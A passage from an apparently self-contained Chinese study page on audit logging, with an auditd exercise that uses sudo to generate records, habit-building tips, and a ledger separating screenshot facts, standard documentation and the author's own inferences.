2. 用可见性漏斗给自己的方案算一遍覆盖率,写出四层的薄弱点;
3. 定期检查"审计日志大类"的增长趋势,把它当成规则集健康度的仪表盘。
毕业标准:能回答"这套方案看不见什么",而不是只回答"这套方案能看见什么"。
第一个闭环 · 现在就能做(40 分钟)
类型:追踪型。前置:一台开着 auditd 的 Linux(测试机即可)。
步骤:
1. 先确认规则存在:auditctl -l | head;
2. 执行一次 sudo -k; sudo id(强制重新认证);
3. 在 /var/log/audit/audit.log 里按时间找到这批记录;
4. 把它们按 msg=audit(...:N) 分组,数一数一次 sudo 产生了几个 id;
5. 用一句话写出来:谁、从哪、在什么时间、做了什么、结果如何。
验证:能写出这句话就算成功。最可能的失败:打开日志发现是空的——那就是规则没装,回到第 1 步。

日常可以做的四个小练习

一、每次看到新日志,先不看文档,自己猜它的"开关"是什么,然后去验证。
二、每周挑一条告警,反问:这条告警如果误报,最可能误在哪一层?
三、每月看一眼"兜底类"日志占比,涨了就说明规则集落后了。
四、把每次"查不到"的事故记下来,标注断在哪一步。三个月后你会发现断点高度集中。

09 · 自测

十道题,先选再揭晓

分三类:回忆(记没记住)、应用(会不会用)、迁移(换个场景还灵不灵)。答错不丢人,答错才知道该补哪一层。

已答 0 / 10 · 正确 0
10 · 台账

哪些是图上的,哪些是我推的

讲解类内容最大的风险是"越好看越可信"。这里把三类信息分开列清楚,方便你核。

A · 逐字(来自你的截图)
6 个规则组名称:Windows 类、纯转发、日审-windows分流、Linux 类、定义事件时间、Linux 类-audit。
24 条规则名称,与截图完全一致(含"用户名计帐"这一写法)。
规则拓扑中的 JSON格式化 / 数据转发,以及关联任务名称(终端心跳/资源/任务、日审windows数据接入、日审linux-cron数据接入)。
B · 标准事实(公开技术文档)
Windows 事件通道名与 .evtx 路径;4624/4625/4688/4720/1102 等事件 ID 的含义;LogonType 0–11 的定义;Sysmon 事件 ID 1/3/7/8/10/11/12-14/22/25;
Linux audit 记录类型(USER_AUTH、USER_ACCT、CRED_ACQ、USER_START、CRED_REFR、USER_END、USER_LOGIN、SERVICE_START/STOP、PATH、CWD、SYSCALL、EXECVE、PROCTITLE、AVC);auditd 链路与配置路径;cron 的日志格式。
C · 推理映射(我的判断,未逐字核对)
① 中文规则名 → audit 记录类型的对应关系(如"建立用户凭据"→CRED_ACQ)。依据是 PAM 阶段语义,不是厂商文档。
② 价值密度散点图中的"体积"与"证据力"评分,是经验判断,不是实测数据。
③ 触发四型(策略/事件/探针/管道)的分类框架,是本文提出的认知工具,非标准术语。
④ 可见性漏斗的乘法模型,是量级直觉,不是概率模型。
D · 已知不确定
截图中"审计目录"出现两次,推测为不同监控路径或不同 key,未核实。
界面底部显示"共 22 条",与图中可数的 24 条叶子规则不一致,可能是分页或统计口径差异。
"用户名计帐"疑为"记账"的异体写法,本文沿用截图原文。

本文是学习材料,不是合规审计意见,也不能替代针对你所在环境的实际核查。事件 ID、记录类型的含义会随系统版本变化,落地前请以目标环境的官方文档与实测样本为准。

图有说服力,事实以台账为准。越漂亮的图,越容易让人忘记它只是对事实的一次翻译。

日志类型专题学习 · 依据自研日志审计系统首批接入清单(6 组 24 类)· 单文件自包含,无任何外部依赖